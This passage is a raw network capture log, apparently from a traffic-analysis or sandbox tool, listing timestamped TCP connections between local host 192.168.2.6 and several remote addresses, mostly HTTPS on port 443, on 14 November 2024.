Nov 14, 2024 17:24:53.078499079 CET	49933	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:53.080184937 CET	49934	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:53.080219030 CET	443	49934	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:53.080264091 CET	49934	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:53.085335970 CET	49934	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:53.085340023 CET	49933	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:53.085351944 CET	443	49934	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:53.085390091 CET	443	49933	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:53.086460114 CET	49935	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:53.086515903 CET	443	49935	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:53.086715937 CET	49935	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:53.086715937 CET	49935	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:53.086797953 CET	443	49935	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:53.087394953 CET	443	49922	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:53.087425947 CET	443	49922	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:53.087491035 CET	49922	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:53.087527037 CET	443	49922	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:53.087553024 CET	49922	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:53.087737083 CET	49922	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:53.096990108 CET	49923	443	192.168.2.6	184.28.90.27
Nov 14, 2024 17:24:53.126246929 CET	443	49928	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:53.126327038 CET	443	49928	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:53.126456022 CET	443	49928	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:53.126646996 CET	49928	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:53.126646996 CET	49928	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:53.126646996 CET	49928	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:53.126744986 CET	443	49928	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:53.126796007 CET	49928	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:53.126813889 CET	443	49928	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:53.131966114 CET	49936	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:53.131999016 CET	443	49936	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:53.132189989 CET	49936	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:53.134099960 CET	49936	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:53.134121895 CET	443	49936	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:53.143328905 CET	443	49923	184.28.90.27	192.168.2.6
Nov 14, 2024 17:24:53.163183928 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:53.209687948 CET	443	49922	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:53.209712982 CET	443	49922	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:53.209829092 CET	49922	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:53.209829092 CET	49922	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:53.209881067 CET	443	49922	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:53.209996939 CET	49922	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:53.321419001 CET	443	49922	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:53.321450949 CET	443	49922	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:53.321541071 CET	49922	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:53.321541071 CET	49922	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:53.321573973 CET	443	49922	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:53.323483944 CET	49922	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:53.384776115 CET	443	49923	184.28.90.27	192.168.2.6
Nov 14, 2024 17:24:53.384939909 CET	443	49923	184.28.90.27	192.168.2.6
Nov 14, 2024 17:24:53.385137081 CET	49923	443	192.168.2.6	184.28.90.27
Nov 14, 2024 17:24:53.385137081 CET	49923	443	192.168.2.6	184.28.90.27
Nov 14, 2024 17:24:53.385137081 CET	49923	443	192.168.2.6	184.28.90.27
Nov 14, 2024 17:24:53.385168076 CET	443	49923	184.28.90.27	192.168.2.6
Nov 14, 2024 17:24:53.389456034 CET	443	49922	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:53.389482975 CET	443	49922	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:53.389525890 CET	49922	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:53.389545918 CET	443	49922	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:53.389570951 CET	49922	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:53.390748978 CET	49922	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:53.428487062 CET	49937	443	192.168.2.6	184.28.90.27
Nov 14, 2024 17:24:53.428539991 CET	443	49937	184.28.90.27	192.168.2.6
Nov 14, 2024 17:24:53.428719044 CET	49937	443	192.168.2.6	184.28.90.27
Nov 14, 2024 17:24:53.428987026 CET	49937	443	192.168.2.6	184.28.90.27
Nov 14, 2024 17:24:53.428999901 CET	443	49937	184.28.90.27	192.168.2.6
Nov 14, 2024 17:24:53.507663965 CET	443	49922	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:53.507699013 CET	443	49922	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:53.507796049 CET	49922	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:53.507796049 CET	49922	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:53.507838011 CET	443	49922	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:53.508080006 CET	49922	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:53.518562078 CET	443	49931	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:53.519150019 CET	49931	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:53.519175053 CET	443	49931	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:53.519933939 CET	443	49931	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:53.520122051 CET	49931	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:53.520653963 CET	49931	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:53.520653963 CET	49931	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:53.520704031 CET	443	49931	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:53.562052965 CET	49931	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:53.562066078 CET	443	49931	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:53.609781027 CET	49931	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:53.624177933 CET	443	49922	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:53.624212980 CET	443	49922	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:53.624300957 CET	49922	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:53.624337912 CET	443	49922	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:53.624382019 CET	49922	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:53.625906944 CET	49922	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:53.681440115 CET	443	49922	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:53.681469917 CET	443	49922	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:53.681576967 CET	49922	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:53.681576967 CET	49922	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:53.681616068 CET	443	49922	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:53.681734085 CET	49922	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:53.687716007 CET	49923	443	192.168.2.6	184.28.90.27
Nov 14, 2024 17:24:53.687743902 CET	443	49923	184.28.90.27	192.168.2.6
Nov 14, 2024 17:24:53.765530109 CET	443	49931	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:53.765563965 CET	443	49931	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:53.765572071 CET	443	49931	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:53.765604973 CET	443	49931	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:53.765625954 CET	443	49931	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:53.765634060 CET	443	49931	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:53.765640974 CET	49931	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:53.765659094 CET	443	49931	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:53.765697002 CET	49931	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:53.765799046 CET	49931	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:53.767487049 CET	443	49931	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:53.767501116 CET	443	49931	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:53.767704010 CET	443	49931	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:53.767740011 CET	49931	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:53.767746925 CET	443	49931	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:53.767781019 CET	49931	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:53.792607069 CET	443	49932	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:53.793730021 CET	49932	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:53.793730021 CET	49932	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:53.793785095 CET	443	49932	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:53.793813944 CET	443	49932	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:53.798448086 CET	443	49922	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:53.798481941 CET	443	49922	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:53.798588991 CET	49922	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:53.798588991 CET	49922	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:53.798628092 CET	443	49922	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:53.798835039 CET	49922	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:53.812834024 CET	49931	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:53.819156885 CET	443	49933	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:53.820214033 CET	49933	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:53.820214033 CET	49933	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:53.820255995 CET	443	49933	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:53.820272923 CET	443	49933	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:53.843946934 CET	443	49934	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:53.848176956 CET	49934	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:53.848218918 CET	443	49934	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:53.849716902 CET	49934	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:53.849724054 CET	443	49934	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:53.859338999 CET	443	49922	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:53.859385014 CET	443	49922	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:53.859457970 CET	443	49922	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:53.859482050 CET	49922	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:53.859482050 CET	49922	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:53.859512091 CET	49922	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:53.861872911 CET	49922	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:53.861896038 CET	443	49922	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:53.873541117 CET	443	49935	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:53.875191927 CET	49935	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:53.875231981 CET	443	49935	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:53.876344919 CET	49935	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:53.876362085 CET	443	49935	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:53.882137060 CET	443	49931	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:53.882158995 CET	443	49931	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:53.882247925 CET	443	49931	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:53.882292032 CET	49931	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:53.882298946 CET	443	49931	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:53.882380962 CET	49931	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:53.886171103 CET	49931	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:53.886183023 CET	443	49931	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:53.891679049 CET	49941	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:53.891738892 CET	443	49941	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:53.892457962 CET	49941	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:53.892457962 CET	49941	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:53.892494917 CET	443	49941	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:53.907207012 CET	443	49936	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:53.908273935 CET	49936	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:53.908293962 CET	443	49936	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:53.908519983 CET	49936	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:53.908524990 CET	443	49936	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:53.930500031 CET	443	49932	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:53.930661917 CET	443	49932	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:53.930840969 CET	49932	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:53.930881977 CET	49932	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:53.930881977 CET	49932	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:53.930901051 CET	443	49932	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:53.930910110 CET	443	49932	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:53.933940887 CET	49942	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:53.933991909 CET	443	49942	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:53.934235096 CET	49942	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:53.934235096 CET	49942	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:53.934283972 CET	443	49942	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:53.955363989 CET	443	49933	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:53.955436945 CET	443	49933	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:53.955475092 CET	443	49933	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:53.955717087 CET	49933	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:53.955717087 CET	49933	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:53.955765009 CET	49933	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:53.955785990 CET	443	49933	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:53.958839893 CET	49943	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:53.958888054 CET	443	49943	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:53.959064007 CET	49943	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:53.959184885 CET	49943	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:53.959196091 CET	443	49943	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:53.981481075 CET	443	49934	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:53.981637001 CET	443	49934	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:53.981777906 CET	49934	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:53.981820107 CET	49934	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:53.981820107 CET	49934	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:53.981838942 CET	443	49934	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:53.981848001 CET	443	49934	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:53.985059977 CET	49944	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:53.985110998 CET	443	49944	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:53.986427069 CET	49944	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:53.986857891 CET	49944	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:53.986882925 CET	443	49944	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:54.005028963 CET	443	49935	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:54.005101919 CET	443	49935	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:54.005197048 CET	443	49935	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:54.005240917 CET	49935	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:54.005875111 CET	49935	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:54.012479067 CET	49935	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:54.012511969 CET	443	49935	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:54.012577057 CET	49935	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:54.012586117 CET	443	49935	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:54.017016888 CET	49945	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:54.017060995 CET	443	49945	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:54.018183947 CET	49945	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:54.018448114 CET	49945	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:54.018467903 CET	443	49945	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:54.044889927 CET	443	49936	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:54.045068979 CET	443	49936	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:54.047688007 CET	49936	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:54.048757076 CET	49936	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:54.048757076 CET	49936	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:54.048777103 CET	443	49936	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:54.048787117 CET	443	49936	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:54.052088022 CET	49946	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:54.052135944 CET	443	49946	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:54.052433968 CET	49946	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:54.053116083 CET	49946	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:54.053138971 CET	443	49946	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:54.280620098 CET	443	49937	184.28.90.27	192.168.2.6
Nov 14, 2024 17:24:54.280759096 CET	49937	443	192.168.2.6	184.28.90.27
Nov 14, 2024 17:24:54.429658890 CET	49937	443	192.168.2.6	184.28.90.27
Nov 14, 2024 17:24:54.429696083 CET	443	49937	184.28.90.27	192.168.2.6
Nov 14, 2024 17:24:54.430125952 CET	443	49937	184.28.90.27	192.168.2.6
Nov 14, 2024 17:24:54.431454897 CET	49937	443	192.168.2.6	184.28.90.27
Nov 14, 2024 17:24:54.479331970 CET	443	49937	184.28.90.27	192.168.2.6
Nov 14, 2024 17:24:54.637586117 CET	443	49941	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:54.637810946 CET	49941	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:54.637829065 CET	443	49941	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:54.638691902 CET	443	49941	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:54.638757944 CET	49941	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:54.639102936 CET	49941	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:54.639158964 CET	443	49941	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:54.639319897 CET	49941	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:54.639329910 CET	443	49941	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:54.674993038 CET	443	49937	184.28.90.27	192.168.2.6
Nov 14, 2024 17:24:54.675235987 CET	443	49937	184.28.90.27	192.168.2.6
Nov 14, 2024 17:24:54.675302982 CET	49937	443	192.168.2.6	184.28.90.27
Nov 14, 2024 17:24:54.675996065 CET	49937	443	192.168.2.6	184.28.90.27
Nov 14, 2024 17:24:54.676017046 CET	443	49937	184.28.90.27	192.168.2.6
Nov 14, 2024 17:24:54.686342955 CET	49941	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:54.699285984 CET	443	49943	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:54.699789047 CET	49943	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:54.699816942 CET	443	49943	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:54.700347900 CET	49943	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:54.700354099 CET	443	49943	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:54.715238094 CET	443	49942	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:54.715981960 CET	49942	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:54.716010094 CET	443	49942	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:54.717161894 CET	49942	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:54.717166901 CET	443	49942	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:54.743184090 CET	443	49944	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:54.743756056 CET	49944	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:54.743769884 CET	443	49944	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:54.744256020 CET	49944	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:54.744263887 CET	443	49944	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:54.755392075 CET	443	49945	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:54.756174088 CET	49945	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:54.756206036 CET	443	49945	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:54.756717920 CET	49945	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:54.756726980 CET	443	49945	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:54.794019938 CET	443	49946	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:54.794584036 CET	49946	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:54.794620037 CET	443	49946	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:54.795219898 CET	49946	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:54.795226097 CET	443	49946	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:54.831135035 CET	443	49943	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:54.831984043 CET	443	49943	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:54.832029104 CET	443	49943	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:54.832037926 CET	49943	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:54.832109928 CET	49943	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:54.832169056 CET	49943	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:54.832190037 CET	443	49943	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:54.832202911 CET	49943	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:54.832207918 CET	443	49943	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:54.835247993 CET	49947	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:54.835292101 CET	443	49947	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:54.835371971 CET	49947	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:54.835551023 CET	49947	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:54.835568905 CET	443	49947	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:54.852294922 CET	443	49942	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:54.852475882 CET	443	49942	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:54.852552891 CET	49942	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:54.852804899 CET	49942	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:54.852833033 CET	443	49942	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:54.852850914 CET	49942	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:54.852859020 CET	443	49942	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:54.856112957 CET	49948	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:54.856141090 CET	443	49948	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:54.856221914 CET	49948	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:54.856441021 CET	49948	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:54.856452942 CET	443	49948	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:54.875055075 CET	443	49944	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:54.875174046 CET	443	49944	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:54.875334978 CET	49944	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:54.878182888 CET	49944	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:54.878201008 CET	443	49944	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:54.878212929 CET	49944	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:54.878220081 CET	443	49944	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:54.882482052 CET	49949	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:54.882530928 CET	443	49949	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:54.882726908 CET	49949	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:54.883002996 CET	49949	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:54.883023024 CET	443	49949	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:54.883609056 CET	443	49945	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:54.883766890 CET	443	49945	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:54.883848906 CET	49945	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:54.884321928 CET	49945	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:54.884342909 CET	443	49945	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:54.884355068 CET	49945	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:54.884361982 CET	443	49945	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:54.888127089 CET	49950	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:54.888139009 CET	443	49950	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:54.888551950 CET	49950	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:54.889305115 CET	49950	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:54.889316082 CET	443	49950	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:54.896037102 CET	443	49941	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:54.896068096 CET	443	49941	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:54.896107912 CET	443	49941	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:54.896135092 CET	443	49941	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:54.896163940 CET	49941	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:54.896188021 CET	443	49941	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:54.896198988 CET	443	49941	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:54.896208048 CET	49941	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:54.896236897 CET	49941	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:54.927921057 CET	443	49946	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:54.927998066 CET	443	49946	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:54.928050041 CET	49946	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:54.928073883 CET	443	49946	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:54.928141117 CET	443	49946	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:54.928193092 CET	49946	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:54.928574085 CET	49946	443	192.168.2.6	13.107.246.45
